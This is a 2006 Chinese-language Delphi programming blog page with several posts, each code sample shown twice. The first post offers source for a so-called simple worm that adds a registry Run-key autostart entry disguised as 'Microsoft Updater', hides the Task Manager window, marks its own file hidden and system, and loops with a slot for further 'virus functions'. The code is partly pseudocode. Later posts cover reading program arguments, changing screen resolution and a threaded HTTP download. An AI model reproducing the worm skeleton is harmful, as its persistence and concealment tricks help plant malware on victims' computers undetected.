Delphi简单蠕虫实现 10K (可在缩小)
[ 2006-07-02 21:09:07 | 作者: invidentxp ]
program Virus;
uses
Windows,
Registry;
var
NewFile:pChar;
Reg:TRegistry;
Label VirusFunc;
Begin
VirusFunc:
Try
NewFile:='C:\Command.Com' or anyName;
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
Reg.WriteString('Microsoft Updater' or anyName,NewFile);
IF (FindWindow (nil,'Windows 任务管理器'))<>0 Then ShowWindow (FindWindow (nil,'Windows 任务管理器'),SW_HIDE);
SetFileAttributes (pChar(ParamStr(0)),FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);// 让自己隐藏^^
{Place Your Virus Funcs}
Finally
End;
Goto VirusFunc;
end.
uses
Windows,
Registry;
var
NewFile:pChar;
Reg:TRegistry;
Label VirusFunc;
Begin
VirusFunc:
Try
NewFile:='C:\Command.Com' or anyName;
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
Reg.WriteString('Microsoft Updater' or anyName,NewFile);
IF (FindWindow (nil,'Windows 任务管理器'))<>0 Then ShowWindow (FindWindow (nil,'Windows 任务管理器'),SW_HIDE);
SetFileAttributes (pChar(ParamStr(0)),FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);// 让自己隐藏^^
{Place Your Virus Funcs}
Finally
End;
Goto VirusFunc;
end.
原创 制作获取程序参数的程序
[ 2006-07-02 20:55:28 | 作者: invidentxp ]
如果某程序传入参数,则该程序启动的时候可以获得传入的参数^^
现在都玩直接双击不能运行这一快,我抓你参数,看你杂拌,嘿嘿
procedure TfrmMain.FormCreate(Sender: TObject);
Var I:Integer;
begin
For I:=1 To ParamCount do
Begin
Memo.Lines.Add(ParamStr(I))
end;
end;
现在都玩直接双击不能运行这一快,我抓你参数,看你杂拌,嘿嘿
procedure TfrmMain.FormCreate(Sender: TObject);
Var I:Integer;
begin
For I:=1 To ParamCount do
Begin
Memo.Lines.Add(ParamStr(I))
end;
end;
原创 Delphi中简单实现动态更改屏幕分辨率并且强制显示到桌面 (带更改刷新率)
[ 2006-07-02 20:48:41 | 作者: invidentxp ]
function GetAnimation: Boolean;
var
Info: TAnimationInfo;
begin
Info.cbSize := SizeOf(TAnimationInfo);
if SystemParametersInfo(SPI_GETANIMATION, SizeOf(Info), @Info, 0) then
Result := Info.iMinAnimate <> 0 else
Result := False;
end;
function DynamicResolution(X, Y,Freq: word): BOOL;
var
lpDevMode: TDeviceMode;
begin
Result := EnumDisplaySettings(nil, 0, lpDevMode);
if Result then
begin
lpDevMode.dmFields := DM_PELSWIDTH Or DM_PELSHEIGHT Or DM_DISPLAYFREQUENCY;
lpDevMode.dmPelsWidth := X;
lpDevMode.dmPelsHeight := Y;
lpDevMode.dmDisplayFrequency:= Freq;
Result := ChangeDisplaySettings(lpDevMode, CDS_UPDATEREGISTRY) = DISP_CHANGE_SUCCESSFUL;
end;
end;
procedure SetAnimation(Value: Boolean);
var
Info: TAnimationInfo;
begin
Info.cbSize := SizeOf(TAnimationInfo);
BOOL(Info.iMinAnimate) := Value;
SystemParametersInfo(SPI_SETANIMATION, SizeOf(Info), @Info, 0);
end;
procedure ShowWinNoAnimate(Handle: HWnd; CmdShow: Integer);
...
阅读全文...
var
Info: TAnimationInfo;
begin
Info.cbSize := SizeOf(TAnimationInfo);
if SystemParametersInfo(SPI_GETANIMATION, SizeOf(Info), @Info, 0) then
Result := Info.iMinAnimate <> 0 else
Result := False;
end;
function DynamicResolution(X, Y,Freq: word): BOOL;
var
lpDevMode: TDeviceMode;
begin
Result := EnumDisplaySettings(nil, 0, lpDevMode);
if Result then
begin
lpDevMode.dmFields := DM_PELSWIDTH Or DM_PELSHEIGHT Or DM_DISPLAYFREQUENCY;
lpDevMode.dmPelsWidth := X;
lpDevMode.dmPelsHeight := Y;
lpDevMode.dmDisplayFrequency:= Freq;
Result := ChangeDisplaySettings(lpDevMode, CDS_UPDATEREGISTRY) = DISP_CHANGE_SUCCESSFUL;
end;
end;
procedure SetAnimation(Value: Boolean);
var
Info: TAnimationInfo;
begin
Info.cbSize := SizeOf(TAnimationInfo);
BOOL(Info.iMinAnimate) := Value;
SystemParametersInfo(SPI_SETANIMATION, SizeOf(Info), @Info, 0);
end;
procedure ShowWinNoAnimate(Handle: HWnd; CmdShow: Integer);
...
阅读全文...
原创 Delphi中使用线程简单实现HttpDownload (Indy9)
[ 2006-07-02 20:40:00 | 作者: invidentxp ]
Type
TUpdate = class(TThread)
protected
procedure Execute;override ;
End;
Var
Upd:TThread;
When On Events
Upd:=TUpdate.Create(False);
Upd.FreeOnTerminate:=True;
Procedure TUpdate.Execute;
var
hUpd: TMemoryStream;
begin
try
hUpd:=TMemoryStream.Create;
IdHttp.Get(YourFile,hUpd);
Application.ProcessMessages;
hUpd.SaveToFile(YourFile);
hUpd.Free;
finally
IDHttp.Disconnect;
Upd.Suspend;
Upd.Terminate;
end;
end.
TUpdate = class(TThread)
protected
procedure Execute;override ;
End;
Var
Upd:TThread;
When On Events
Upd:=TUpdate.Create(False);
Upd.FreeOnTerminate:=True;
Procedure TUpdate.Execute;
var
hUpd: TMemoryStream;
begin
try
hUpd:=TMemoryStream.Create;
IdHttp.Get(YourFile,hUpd);
Application.ProcessMessages;
hUpd.SaveToFile(YourFile);
hUpd.Free;
finally
IDHttp.Disconnect;
Upd.Suspend;
Upd.Terminate;
end;
end.
1

